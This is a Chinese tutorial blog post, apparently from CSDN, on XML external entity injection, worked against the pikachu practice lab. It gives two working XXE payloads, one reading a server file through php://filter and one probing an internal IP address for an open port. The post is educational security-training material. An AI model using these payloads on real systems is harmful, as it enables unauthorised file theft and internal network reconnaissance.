zl程序教程

您现在的位置是:首页 >  其他

当前栏目

XXE漏洞详解(三)——XXE漏洞实际运用

漏洞 详解 运用 实际 XXE
2023-09-14 09:01:43 时间

今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)——XXE漏洞实际运用。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、XXE漏洞简介

XXE漏洞是External Entiry Injection,即XML外部实体注入漏洞。XXE漏洞主要是发生在应用程序解析XML输入时,没有禁止加载外部实体,从而导致任意文件读取、系统命令执行、内网端口探测等危害。

二、XXE漏洞pikachu靶场介绍

pikachu靶场XXE漏洞如下所示:
在这里插入图片描述
我们简单输入一个XML格式的数据:

<asd>asd</asd>

提交后如下所示:
在这里插入图片描述
从上图中可以看出,该靶场可以解析我们输入的XML格式的数据,并显示在页面上。
我们查看页面PHP源代码如下所示:
在这里插入图片描述
在该代码中,使用了simplexml_load_string()函数,这个函数的作用就是输入一个符合XML格式的数据,然后将该数据转化为一个XML对象实体,然后返回这个实体的键和值。

三、XXE漏洞pikachu靶场实战

最后,我们针对pikachu靶场,利用XXE漏洞,来进行实战演练。

(一)利用XXE漏洞读取文件

XXE漏洞读取文件EXP构造如下所示:

<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php">
]>
<asd>&xxe;</asd>

我们将该exp写入到api的输入框中并提交,结果如下所示:
在这里插入图片描述
从上图中可以看出,我们能够利用该exp实现指定文件读取。

(二)利用XXE漏洞进行内网探测

同样的,我们也可以稍微修改上述exp,使得请求的文件是内网文件,借此实现内网探测的目的。exp如下所示:

<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.136.1">
]>
<asd>&xxe;</asd>

如果内网指定IP地址存在并开放了80端口,则上述exp正常返回如下所示:
在这里插入图片描述
而如果该IP地址不存在,或者没有开放80端口,那么上述页面会刷新一段时间,并且最后返回失败。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200